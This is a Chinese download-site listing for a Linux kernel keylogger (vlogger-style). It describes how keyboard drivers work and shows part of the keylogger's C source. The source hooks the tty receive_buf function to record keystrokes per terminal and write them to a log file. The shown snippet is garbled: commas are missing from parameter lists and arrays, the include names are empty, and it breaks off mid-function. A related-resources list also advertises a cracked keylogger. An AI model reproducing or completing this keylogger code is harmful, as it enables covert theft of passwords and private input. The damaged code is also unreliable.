资源简介
本文分成两个部分。第一部分给出了Linux键盘驱动的工作原理,而后给出了键盘记录器的工作细节及其源代码。
代码片段和文件信息
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include “config.h“
#include “klogger.h“
extern int hook_init(void);
spinlock_t pty_lock = SPIN_LOCK_UNLOCKED;
spinlock_t pty_lock1 = SPIN_LOCK_UNLOCKED;
struct tlogger *ttys[MAX_TTY_CON + MAX_PTS_CON] = { NULL };
int vlogger_mode = DEFAULT_MODE;
struct tty_struct *tty = NULL;
struct tty_driver *tty_driver = NULL;
int errno;
void (*old_receive_buf)(struct tty_struct *const unsigned char *char *int);
int epoch2time (const time_t *t long int offset struct vtm *tp);
void get_time (char *date_time);
void new_receive_buf(struct tty_struct *tty const unsigned char *cp
char *fp int count);
void reset_all_buf(void);
struct task_struct *get_task(pid_t pgrp);
void special_key(struct tlogger *tmp const unsigned char *cp int count);
void logging(struct tty_struct *tty struct tlogger *tmp int cont);
void vlogger_process(struct tty_struct *ttyconst unsigned char *cp int count);
int write_to_file(char *logfile char *buf int size);
void init_tty(struct tty_struct *tty int tty_index);
int my_open_tty(void);
int epoch2time (const time_t *t long int offset struct vtm *tp)
{
static const unsigned short int mon_yday[2][13] = {
/* Normal years. */
{ 0 31 59 90 120 151 181 212 243 273 304 334 365 }
/* Leap years. */
{ 0 31 60 91 121 152 182 213 244 274 305 335 366 }
};
long int days rem y;
const unsigned short int *ip;
days = *t / SECS_PER_DAY;
rem = *t % SECS_PER_DAY;
rem += offset;
while (rem < 0) {
rem += SECS_PER_DAY;
--days;
}
while (rem >= SECS_PER_DAY) {
rem -= SECS_PER_DAY;
++days;
}
tp->tm_hour = rem / SECS_PER_HOUR;
rem %= SECS_PER_HOUR;
tp->tm_min = rem / 60;
tp->tm_sec = rem % 60;
y = 1970;
while (days < 0 || days >= (isleap (y) ? 366 : 365)) {
long int yg = y + days / 365 - (days % 365 < 0);
days -= ((yg - y) * 365
+ LEAPS_THRU_END_OF (yg - 1)
- LEAPS_THRU_END_OF (y - 1));
y = yg;
}
tp->tm_year = y - 1900;
if (tp->tm_year != y - 1900)
return 0;
ip = mon_yday[isleap(y)];
for (y = 11; days < (long int) ip[y]; --y)
continue;
days -= ip[y];
tp->tm_mon = y;
相关资源
- 键盘记录器7.1 绿色注册版(破解版)
- [免费]msp430f149控制PS2键盘并用1602显示
- web js虚拟键盘(中英文切换)
- CH454键盘与数码管显示程序
- 键盘输入监控
- 8051单片机教程第二十六课:矩阵式键
- imx6q ch452驱动矩阵键盘扫描
- ch452串口键盘驱动程序
- 基于89C51计算机锁定加密键盘设计
- verilog 4×4矩阵键盘
- 虚拟数字键盘,自动跳转输入框,输
- 无电池近场通信 NFC 键盘设计方案
- 无电池近场通信 (NFC) 键盘设计方案
- 基于NFC无电池键盘设计方案
- 戴尔dell km636无线键盘鼠标套装驱动
- 4×4矩阵式键盘识别技术源码
- PIC单片机人机接口模块4×4行列式
- PIC单片机人机接口模块4×4行列式
- 达尔优87键机械合金幻彩版驱动 官方
- 达尔优EK816混光版键盘驱动 官方最新
- 达尔优掠夺者游戏键盘驱动 官网最新
- 电脑键盘演奏美妙音乐
- 自定义键盘 身份证键盘
- 键盘记录器.rar
- 利用dll的hook悄悄监视某进程键盘输入
- PIC单片机学习之PIC
- Com2Key 串口模拟键盘口输出
- 用WinIo模拟按键
- WINIO DELPHI模拟鼠标键盘DEMO
- 易语言winio模拟键盘源码易语言测试源
评论
共有 条评论